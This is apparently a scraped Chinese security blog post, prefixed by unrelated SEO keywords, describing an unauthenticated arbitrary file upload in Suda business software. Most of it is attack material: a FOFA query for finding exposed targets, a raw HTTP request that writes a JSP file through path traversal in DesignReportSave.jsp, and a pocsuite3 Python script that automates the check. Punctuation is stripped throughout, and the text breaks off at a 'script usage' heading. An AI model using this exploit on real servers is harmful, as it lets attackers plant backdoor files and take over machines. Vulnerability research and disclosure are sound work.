商业空间设计ppt分析,网站优化如何收费,泰安千橙网络,做报名表的网站免责声明
文章中涉及的漏洞均已修复#xff0c;敏感信息均已做打码处理#xff0c;文章仅做经验分享用途#xff0c;切勿当真#xff0c;未授权的攻击属于非法行为#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…免责声明
文章中涉及的漏洞均已修复敏感信息均已做打码处理文章仅做经验分享用途切勿当真未授权的攻击属于非法行为文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责作者不为此承担任何责任一旦造成后果请自行负责
漏洞描述
速达软件全系产品存在任意文件上传漏洞未经身份认证得攻击者可以通过此漏洞上传恶意后门文件执行任意指令造成服务器失陷。 fofa语句
app速达软件-公司产品
poc语句加检测
POST /report/DesignReportSave.jsp?report../test.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Connection: close
Host:
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Upgrade-Insecure-Requests: 1
Content-Type: application/octet-stream
Content-Length: 28% out.print(kkttxx);% 200成功后访问目标ip/test.jsp可以验证 poc脚本
脚本用的pocsuite框架
# _*_ coding:utf-8 _*_
# Time : 2023/12/7
# Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass superdata_upload(POCBase):pocDesc 速达软件文件上传漏洞author 炼金术师诸葛亮createDate 2023-12-07name 速达软件文件上传漏洞def _verify(self):result {}url self.url /report/DesignReportSave.jsp?report../test.jspcheck_path self.url /test.jspheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Encoding: gzip, deflate,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Connection: close,Upgrade-Insecure-Requests: 1,Content-Type: application/octet-stream}path /report/DesignReportSave.jsp?report../test.jsptry:data % out.print(kkttxx);%response requests.post(url, headersheaders, datadata)if response.status_code 200:check_response requests.get(check_path, headersheaders, verifyFalse)if check_response.status_code 200 and kkttxx in check_response.text:result[VerifyInfo] {}result[VerifyInfo][path] pathreturn self.parse_output(result)except Exception as e:passregister_poc(superdata_upload)
脚本使用
